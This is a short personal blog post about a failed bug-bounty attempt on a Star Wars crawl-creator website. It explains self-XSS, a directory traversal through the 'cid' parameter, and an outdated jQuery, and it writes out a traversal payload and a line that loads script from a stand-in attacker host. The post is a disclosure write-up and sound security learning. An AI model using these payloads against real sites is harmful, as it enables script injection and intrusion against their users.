(Nearly) An XSS in Star Wars .com


You remember that bit in Star Wars where the Rebels find the flaw in the Death Star plans and then completely fail to exploit it? Yeah, that's why they don't make movies about inept hackers like me…

Anyway, the website https://play.starwars.com/html5/starwars_crawlcreator/ allows users to create their own "Star Wars" style crawl. It's a fun little site - but it has a few flaws.

Whenever you let people enter content which is displayed back on the screen, there's a possibility that they'll be able to add unwanted content. The website had a basic swear filter - but other than that it didn't sanitise any user content. Which meant a user could paste in some Javascript and have it execute - like this:

An XSS pop-up on a Star Wars website.

That's bad - but not too bad. The user can only run the JS against themselves. What if there were a way to send a victim a link to that specific crawl and have the JS execute on the target's machine?

The site lets you share to Twitter, Facebook, Google Plus, and email. It also offers an embed option.

Aha! The evildoer can stuff a load of malicious Javascript in the crawl and then post it to social media.

Except, thankfully / sadly, that doesn't work. As you might be able to tell from the Google+ option, this is a very old site. When a crawl is created, it is meant to be saved with a unique ID via a storage API. That API is hardcoded to play.starwars.com/api/storage/v1/crawlcreator - but is no longer functional.

So that vector is banjaxed? Not quite! The unique ID is passed as a GET parameter cid. It's usually a long string of random numbers, for example ?cid=123456. The code to read the cid is:

var get = new XMLHttpRequest();
get.open('GET', App.simpleStorage+'/'+cid);

Usually, that would make an HTTP request to play.starwars.com/api/storage/v1/crawlcreator/123456

What if it is passed something other than a number?

Passing ?cid=/../../../../../../../../../example/ fires off a request to play.starwars.com/example/ - a successful directory traversal attack. But, unless there's a stored bit of vulnerable JS somewhere else on play.starwars.com, a bit useless.

Digging around the site shows that it runs an ancient version of jQuery - v2.0.3. That specific version is vulnerable to some nasty exploits. It will execute any JS it receives - so running something like:

$.get('https://evil.example.com/xss')

Will immediately run code loaded from elsewhere.

Could these be chained together to craft a dastardly exploit? I certainly couldn't see a way to do it. But, as I am a goodie, I reported it via HackerOne. At the very least, I thought it would be useful for Disney to know that the site needed updating.

HackerOne swiftly evaluated the issues and - probably quite rightly - closed it as a self-XSS.

I think it's useful to blog about one's failures as well as successes. This didn't lead down a path which earned me a stonking Bug Bounty, but it was an interesting exercise to see just how far an outdated site can be compromised.


Leave a Reply

Your email address will not be published. Required fields are marked *